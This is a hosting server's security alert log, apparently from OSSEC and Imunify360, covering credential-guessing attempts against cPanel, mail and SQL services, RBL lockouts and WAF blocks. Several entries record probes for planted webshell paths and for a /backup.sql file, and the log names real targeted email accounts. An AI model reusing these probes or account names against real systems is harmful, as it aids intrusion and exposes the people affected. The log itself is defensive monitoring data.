[2026-01-16 00:06:27 +0800] info [cpaneld] 150.107.106.178 - kdiballo "GET /login/?login_only=1&user=kdiballo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiballo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.189.122.197
country_id: 3895114
description:
[2026-01-16 00:06:32 +0800] info [cpaneld] 201.189.122.197 - kdibal "GET /login/?login_only=1&user=kdibal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdibal (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.161.119.17
country_id: 3996063
description:
[2026-01-16 00:06:42 +0800] info [cpaneld] 187.161.119.17 - kdib "GET /login/?login_only=1&user=kdib&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdib (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.185.98
country_id: 2017370
description:
2026-01-16 00:07:07 dovecot_login authenticator failed for H=([217.24.185.98]) [217.24.185.98]:43180: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.128.72.147
country_id: 357994
description:
2026-01-16 00:07:09 H=([41.128.72.147]) [41.128.72.147]:24869 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.24.185.98
country_id: 2017370
description:
Jan 16 00:07:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.24.185.98 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.192.57
country_id: 3865483
description:
Jan 16 00:11:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.192.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.90.134
country_id: 3469034
description:
Jan 16 00:11:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.90.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.90.134
country_id: 3469034
description:
Jan 16 00:12:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.90.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/images/sliders/introduction-service.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.142
country_id: 3175395
description:
Jan 16 00:19:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.129.227.208
country_id: 1880251
domain: cloudhost.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:cloudhostmagsoft||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.39
country_id: 719819
description:
Jan 16 00:25:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.207
country_id: 3469034
description:
Jan 16 00:25:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.207
country_id: 3469034
description:
Jan 16 00:26:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.143.244.124
country_id: 1814991
description:
Jan 16 00:27:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.143.244.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.124
country_id: 1814991
description:
2026-01-16 00:27:09 dovecot_login authenticator failed for H=(ictai) [180.143.244.124]:57578: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 00:28:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57292: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 00:29:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.0.19
country_id: 3469034
description:
Jan 16 00:30:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.0.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.56.0.19
country_id: 3469034
description:
2026-01-16 00:30:35 dovecot_login authenticator failed for H=(177-215-153-215.user.vivozap.com.br) [189.56.0.19]:38814: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.186.156.250
country_id: 298795
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/low/322/320958 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.163.38.185
country_id: 3077311
description:
Jan 16 00:30:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.163.38.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 00:33:05 H=([45.144.212.242]) [45.144.212.242]:52478 F=<no_reply@admin.com> rejected RCPT <hr_admin@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.107
country_id: 3277605
description:
Jan 16 00:33:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 00:34:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.139.108
country_id: 587116
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/16csv.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 16 00:38:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.95.231.45
country_id: 3658394
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/event-dispatcher/CHANGELOG.md HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.52.38
country_id: 2963597
description:
Jan 16 00:39:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.52.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 16 00:39:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 16 00:40:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 16 00:40:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.43
country_id: 3469034
description:
Jan 16 00:42:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.3
country_id: 3175395
description:
Jan 16 00:43:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.3 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 88.214.25.124
country_id: 2921044
description:
2026-01-16  0:46:34 133834 [Warning] Aborted connection 133834 to db: 'unconnected' user: 'unauthenticated' host: '88.214.25.124' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.113.40
country_id: 3469034
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/tyre_safety_tips_tread_wear_indicator.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.21.61.230
country_id: 6251999
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-49.82.21.61.230||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.87.101.212
country_id: 6252001
description:
[2026-01-16 00:53:13 +0800] info [cpaneld] 97.87.101.212 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.114.232.253
country_id: 3895114
description:
[2026-01-16 00:53:15 +0800] info [cpaneld] 181.114.232.253 - acburn "GET /login/?login_only=1&user=acburn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user acburn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.101.151
country_id: 3996063
description:
[2026-01-16 00:53:21 +0800] info [whostmgrd] 189.203.101.151 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.186.254.69
country_id: 248816
description:
[2026-01-16 00:53:01 +0800] info [cpaneld] 91.186.254.69 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.41
country_id: 3175395
description:
Jan 16 00:54:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.77
country_id: 1814991
description:
2026-01-16 00:55:22 dovecot_login authenticator failed for H=(iguyz) [171.110.82.77]:52594: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 00:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57321: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.77
country_id: 1814991
description:
2026-01-16 00:55:59 dovecot_login authenticator failed for H=(fwoup) [171.110.82.77]:52594: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.200
country_id: 3865483
description:
Jan 16 00:57:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.45.167.100
country_id: 2510769
description:
Jan 16 00:57:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.45.167.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.206.122.129
country_id: 1269750
description:
Jan 16 00:57:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.206.122.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.206.122.129
country_id: 1269750
description:
2026-01-16 00:57:29 dovecot_plain authenticator failed for H=(kfo6inanagpaoi7mgmmiig5ewiivar3) [117.206.122.129]:38790: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.45.167.100
country_id: 2510769
description:
Jan 16 00:58:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.45.167.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 00:59:30 H=([45.144.212.50]) [45.144.212.50]:63689 F=<arm@da-desk.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 01:00:45 H=([45.144.212.50]) [45.144.212.50]:49729 F=<arm@da-desk.com> rejected RCPT <astbki@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.137
country_id: 6252001
description:
2026-01-16  1:00:54 134292 [Warning] Aborted connection 134292 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.137' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.218.18.155
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/garden/8/624/898645 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.60
country_id: 3469034
description:
Jan 16 01:11:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.18
country_id: 2623032
description:
Jan 16 01:11:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.18
country_id: 2623032
description:
Jan 16 01:12:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 137.27.32.70
country_id: 6252001
description:
Jan 16 01:12:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 137.27.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-01-16 01:12:56 dovecot_login authenticator failed for H=syn-137-027-032-070.biz.spectrum.com [137.27.32.70]:56370: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.31
country_id: 1814991
description:
2026-01-16 01:15:27 dovecot_login authenticator failed for H=(nsool) [219.159.100.31]:53602: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.23
country_id: 953987
description:
Jan 16 01:15:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.31
country_id: 1814991
description:
2026-01-16 01:16:03 dovecot_login authenticator failed for H=(nznsl) [219.159.100.31]:53602: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.60.7
country_id: 3469034
description:
Jan 16 01:16:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.60.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.160
country_id: 3469034
description:
Jan 16 01:16:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.160
country_id: 3469034
description:
Jan 16 01:16:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.207
country_id: 6252001
description:
Jan 16 01:17:40 sv3 pure-ftpd[4072011]: (?@147.185.132.207) [INFO] New connection from 147.185.132.207


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.105.141.172
country_id: 3923057
description:
Jan 16 01:18:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.105.141.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-01-16 01:18:36 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (static-200-105-141-161.acelerate.net) [200.105.141.172]:46364: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.106.80.94
country_id: 3469034
description:
Jan 16 01:18:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.106.80.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.219.123
country_id: 3865483
description:
Jan 16 01:18:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.219.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-01-16 01:19:05 dovecot_login authenticator failed for H=(c-50-188-204-213.unallocated.comcastbusiness.net) [50.188.204.213]:38338: 535 Incorrect authentication data (set_id=myloo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.241.228.34
country_id: 1269750
description:
Jan 16 01:19:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.241.228.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.241.228.34
country_id: 1269750
description:
2026-01-16 01:19:19 dovecot_login authenticator failed for H=([115.241.228.34]) [115.241.228.34]:42292: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.188.204.213
country_id: 6252001
description:
Jan 16 01:19:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.188.204.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.31
country_id: 1814991
description:
2026-01-16 01:21:43 dovecot_login authenticator failed for H=(baalw) [219.159.100.31]:62328: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.104
country_id: 6252001
description:
Jan 16 01:21:02 sv3 pure-ftpd[4073748]: (?@198.235.24.104) [INFO] New connection from 198.235.24.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.31
country_id: 1814991
description:
2026-01-16 01:22:02 dovecot_login authenticator failed for H=(rxreu) [219.159.100.31]:62328: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/survey-meter.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 01:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57346: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 134.199.71.78
country_id: 6252001
domain: www.box.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 11; TECNO KF8 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.123 Mobile Safari/537.36 musical_ly_2023405050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/34.5.5 ByteLocale/en ByteFullLocale/en Region/US AppId/1233 Spark/1.5.4.10-bugfix AppVersion/34.5.5 BytedanceWebview/d8a21c6||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.154.174.52
country_id: 286963
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/watch/12/530/1282337 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 84.55.4.202
country_id: 2921044
domain: www.box.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2007J20CG Build/SKQ1.211019.001; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.123 Mobile Safari/537.36 musical_ly_2023405050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/34.5.5 ByteLocale/es ByteFullLocale/es Region/MX AppId/1233 Spark/1.5.4.10-bugfix AppVersion/34.5.5 BytedanceWebview/d8a21c6||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.110.184.36
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/LoggingTranslator.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.114
country_id: 6252001
description:
Jan 16 01:28:35 sv3 pure-ftpd[4078920]: (?@147.185.132.114) [INFO] New connection from 147.185.132.114


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.226
country_id: 2300660
description:
Jan 16 01:28:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.226
country_id: 2300660
description:
Jan 16 01:29:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.81
country_id: 2395170
description:
Jan 16 01:29:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.222
country_id: 3469034
description:
Jan 16 01:29:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.16.158
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=503368 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.163.110.111
country_id: 690791
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.45
country_id: 6252001
description:
2026-01-16  1:32:49 135672 [Warning] Aborted connection 135672 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.45' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.32.190
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=509827 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.154.24.3
country_id: 798544
description:
Jan 16 01:33:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.154.24.3 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.221.134
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=260012 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.50
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-33.92.71.79.50||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.22.56.249
country_id: 3469034
description:
